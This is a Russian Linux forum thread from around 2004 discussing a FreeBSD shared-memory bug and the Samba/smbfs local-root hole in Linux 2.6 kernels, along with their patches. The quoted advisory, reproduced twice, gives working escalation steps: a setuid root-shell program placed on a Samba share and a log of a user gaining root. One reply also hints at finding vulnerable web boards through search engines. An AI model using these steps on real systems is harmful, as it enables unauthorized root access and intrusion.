LINUX.ORG.RU

Сейчас прибежит Sun-ch и расскажет что крутые админы Shared Memory на серваках давно отключили :)

chucha ★★★☆
()
Ответ на: комментарий от chucha

Хм возмонжно, но все равно я бы это не счтал критической уязвимостью, хотя конечно новость не из приятных.

anonymous
()
Ответ на: комментарий от chucha

дааа, это пиздец уезвимость. это как надо изьебнутся без отладчика чтоб попасть в нужное место. имхо, это возможно только только теоритечески... тем более адреса зависят от версии конкретной суиднутой проги и как она собрана...

хотя наверно можно что-нить более реалистичное придумать через эту дырку...

blind
()
Ответ на: комментарий от rhial

Дело не в этом, shell можно просто получить через дырявый cgi/php скрипт, установленный клиентом на сервере.

chucha ★★★☆
()
Ответ на: комментарий от chucha

Народ а приведите кусок примера cgi скрипта через который можно получить shell а то сколько гуглил ни одного нормального примера не видел.

anonymous
()
Ответ на: комментарий от anonymous

PostgreSQL использует shared memory, так что её отключить не везде можно -)

anonymous
()

А при чем здесь Linux?

anonymous
()

ну где же Sun-ch?

anonymous
()
Ответ на: комментарий от anonymous

iconboard, версию не помню, потенциальные жертвы ишутся гуглом или яндексом :)

chucha ★★★☆
()
Ответ на: комментарий от anonymous

>А постарее новости нет? Просто линуксоиды не сидят целыми днями в поисках новых новостей дыр во фре... Бсдуны, наоборот целыми днями ищут новости про дырки в Линукс. Вот и всё обьяснение почему это новость старая, просто нам (линуксоидам) нах не сдалась ваша фря. Мы на неё внимания не обращаем, по крайней меря я точно.

anonymous
()

===================================================================
RCS file: /usr/local/www/cvsroot/FreeBSD/src/sys/kern/sysv_shm.c,v
retrieving revision 1.89
retrieving revision 1.90
diff -u -p -r1.89 -r1.90
--- src/sys/kern/sysv_shm.c	2003/11/07 04:47:14	1.89
+++ src/sys/kern/sysv_shm.c	2004/02/05 18:00:35	1.90
@@ -30,7 +30,7 @@
  */
 
 #include <sys/cdefs.h>
-__FBSDID("$FreeBSD: /usr/local/www/cvsroot/FreeBSD/src/sys/kern/sysv_shm.c,v 1.89 2003/11/07 04:47:14 rwatson Exp $");
+__FBSDID("$FreeBSD: /usr/local/www/cvsroot/FreeBSD/src/sys/kern/sysv_shm.c,v 1.90 2004/02/05 18:00:35 nectar Exp $");
 
 #include "opt_compat.h"
 #include "opt_sysvipc.h"
@@ -378,6 +378,7 @@ kern_shmat(td, shmid, shmaddr, shmflg)
 	rv = vm_map_find(&p->p_vmspace->vm_map, shm_handle->shm_object,
 		0, &attach_va, size, (flags & MAP_FIXED)?0:1, prot, prot, 0);
 	if (rv != KERN_SUCCESS) {
+		vm_object_deallocate(shm_handle->shm_object);
 		error = ENOMEM;
 		goto done2;
 	}


Вот и всё исправление, всего одна строчка. А почему Security Focus назвал этот баг Design Error? Что тут в десигне переделывать?

anonymous
()

ПривИлегия!
По-моему пора запрещать выход в Internet безграмотным школьникам...

anonymous
()

Мля, ну привИлегированного! Зае..ли уже со своим корявым русским!

anonymous
()
Ответ на: комментарий от chucha

Samba 3.x + kernel 2.6.x local root vulnerability

Confirmed to work on all 2.6.x kernels, ну дык ептыть

main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

ОБАННА, колечко!!!!

Всем пингвиноводам отжаться по 5 раз.

Sun-ch
()
Ответ на: комментарий от Sun-ch

Ыыыыыы=)))) Так вот где Саныч пропадал=) Искал пачку гвоздей что бы устроить сессию;)

Deimos
()
Ответ на: комментарий от Sun-ch

Confirmed to be default on Debian and Mandrake.

share:/data/share# cat a.c main() { setuid(0); setgid(0); system("/bin/bash"); } share:/data/share# make a cc a.c -o a share:/data/share# chmod +s a share:/data/share# share:/etc/samba/smb.conf [share] path = /data/share writable = no locking = no public = yes guest ok = yes comment = Share share:/data/share# ls -l a - - -rwsr-sr-x 1 root root 11716 Feb 8 12:39 a misko@slovakia:~$ ls -l pokus/a - - -rwsr-sr-x 1 root root 11716 2004-02-08 12:39 pokus/a misko@slovakia:~$ pokus/a root@slovakia:~# id uid=0(root) gid=0(root) skupiny=1000(misko),0(root),29(audio),100(users),1034(mtr),1035(333) root@slovakia:~#

Confirmed to work on all 2.6.x kernels, not confirmed on 2.4.x.

Quick patch for 2.6.3-rc1 kernel by Urban Widmark:

diff -urN -X exclude linux-2.6.3-rc1-orig/fs/smbfs/proc.c linux-2.6.3-rc1-smbfs/fs/smbfs/proc.c - --- linux-2.6.3-rc1-orig/fs/smbfs/proc.c Mon Feb 9 19:08:39 2004 +++ linux-2.6.3-rc1-smbfs/fs/smbfs/proc.c Mon Feb 9 21:43:08 2004 @@ -546,7 +546,8 @@ #define MAX_FILE_MODE 6 static mode_t file_mode[] = { - - S_IFREG, S_IFDIR, S_IFLNK, S_IFCHR, S_IFBLK, S_IFIFO, S_IFSOCK + S_IFREG, S_IFDIR, S_IFLNK, S_IFREG /* S_IFCHR */, S_IFREG /* S_IFBLK */, + S_IFIFO, S_IFSOCK }; static int smb_filetype_to_mode(u32 filetype) @@ -567,9 +568,9 @@ if (mode & S_IFLNK) return UNIX_TYPE_SYMLINK; if (mode & S_IFCHR) - - return UNIX_TYPE_CHARDEV; + return UNIX_TYPE_FILE /* UNIX_TYPE_CHARDEV */ ; if (mode & S_IFBLK) - - return UNIX_TYPE_BLKDEV; + return UNIX_TYPE_FILE /* UNIX_TYPE_BLKDEV */ ; if (mode & S_IFIFO) return UNIX_TYPE_FIFO; if (mode & S_IFSOCK) @@ -1834,6 +1835,7 @@ static void smb_finish_dirent(struct smb_sb_info *server, struct smb_fattr *fattr) { + fattr->f_mode &= ~(S_ISGID | S_ISUID); if (fattr->f_unix) return;

Bug discovered by Martin Fiala <digri@dik.cvut.cz>

anonymous
()
Ответ на: комментарий от Sun-ch

Confirmed to be default on Debian and Mandrake.

share:/data/share# cat a.c
main()
{
        setuid(0);
        setgid(0);
        system("/bin/bash");
}
                                                                                                                                               
share:/data/share# make a
cc     a.c   -o a
share:/data/share# chmod +s a
share:/data/share#
                                                                                                                                               
share:/etc/samba/smb.conf
                                                                                                                                               
[share]
path = /data/share
writable = no
locking = no
public = yes
guest ok = yes
comment = Share
                                                                                                                                               
share:/data/share# ls -l a
- - -rwsr-sr-x    1 root     root        11716 Feb  8 12:39 a
                                                                                                                                               
misko@slovakia:~$ ls -l pokus/a
- - -rwsr-sr-x    1 root     root        11716 2004-02-08 12:39 pokus/a
misko@slovakia:~$ pokus/a
root@slovakia:~# id
uid=0(root) gid=0(root) skupiny=1000(misko),0(root),29(audio),100(users),1034(mtr),1035(333)
root@slovakia:~#

Confirmed to work on all 2.6.x kernels, not confirmed on 2.4.x.

Quick patch for 2.6.3-rc1 kernel by Urban Widmark:

diff -urN -X exclude linux-2.6.3-rc1-orig/fs/smbfs/proc.c linux-2.6.3-rc1-smbfs/fs/smbfs/proc.c
- --- linux-2.6.3-rc1-orig/fs/smbfs/proc.c        Mon Feb  9 19:08:39 2004
+++ linux-2.6.3-rc1-smbfs/fs/smbfs/proc.c       Mon Feb  9 21:43:08 2004
@@ -546,7 +546,8 @@
                                                                                                                                               
 #define MAX_FILE_MODE  6
 static mode_t file_mode[] = {
- -       S_IFREG, S_IFDIR, S_IFLNK, S_IFCHR, S_IFBLK, S_IFIFO, S_IFSOCK
+       S_IFREG, S_IFDIR, S_IFLNK, S_IFREG /* S_IFCHR */, S_IFREG /* S_IFBLK */,
+       S_IFIFO, S_IFSOCK
 };
                                                                                                                                               
 static int smb_filetype_to_mode(u32 filetype)
@@ -567,9 +568,9 @@
        if (mode & S_IFLNK)
                return UNIX_TYPE_SYMLINK;
        if (mode & S_IFCHR)
- -               return UNIX_TYPE_CHARDEV;
+               return UNIX_TYPE_FILE /* UNIX_TYPE_CHARDEV */ ;
        if (mode & S_IFBLK)
- -               return UNIX_TYPE_BLKDEV;
+               return UNIX_TYPE_FILE /* UNIX_TYPE_BLKDEV */ ;
        if (mode & S_IFIFO)
                return UNIX_TYPE_FIFO;
        if (mode & S_IFSOCK)
@@ -1834,6 +1835,7 @@
 static void
 smb_finish_dirent(struct smb_sb_info *server, struct smb_fattr *fattr)
 {
+       fattr->f_mode &= ~(S_ISGID | S_ISUID);
        if (fattr->f_unix)
                return;


Bug discovered by Martin Fiala <digri@dik.cvut.cz>

anonymous
()

А Саныч в отпуске что-ли?

iv_ru
()
Ответ на: комментарий от Sun-ch

Не трогайте Саныча.
Он рулет (с) Dalnet.RU
А пошутил насчет колечка Саныч мило, было смешно. Респект.

digitalg0d
()
Ответ на: комментарий от anonymous

> не понял в чем прикол
Relax, 2.4.24 is not vulnerable. look here (circa string 361),
linux-2.4.24/fs/smbfs/file.c:
/*
* Check whether the required access is compatible with
* an inode's permission. SMB doesn't recognize superuser
* privileges, so we need our own check for this.
*/
static int
smb_file_permission(struct inode *inode, int mask)
{
int mode = inode->i_mode;
int error = 0;

VERBOSE("mode=%x, mask=%x\n", mode, mask);

/* Look at user permissions */
mode >>= 6;
if ((mode & 7 & mask) != mask)
error = -EACCES;
return error;

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.